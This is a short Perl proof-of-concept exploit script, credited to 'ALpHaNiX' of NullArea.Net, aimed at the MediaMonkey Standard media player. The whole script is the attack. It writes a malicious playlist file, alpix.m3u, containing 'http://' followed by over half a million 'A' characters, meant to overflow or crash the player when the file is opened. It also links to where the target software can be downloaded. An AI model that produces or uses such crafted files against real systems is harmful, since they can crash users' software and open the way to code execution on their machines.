#!/usr/bin/perl

By ALpHaNiX

NullArea.Net

THanks

#can get the software from http://www.download.com/MediaMonkey-Standard/3000-2141_4-10109807.html

my $file = "alpix.m3u" ;
print "[+] Exploiting…" ;
my $buff1="http://"."A" x 543339 ;
open(m3u, ">>$file") or die "Cannot open $file";
print m3u $buff1;
close(m3u);
print "\n[+] done !";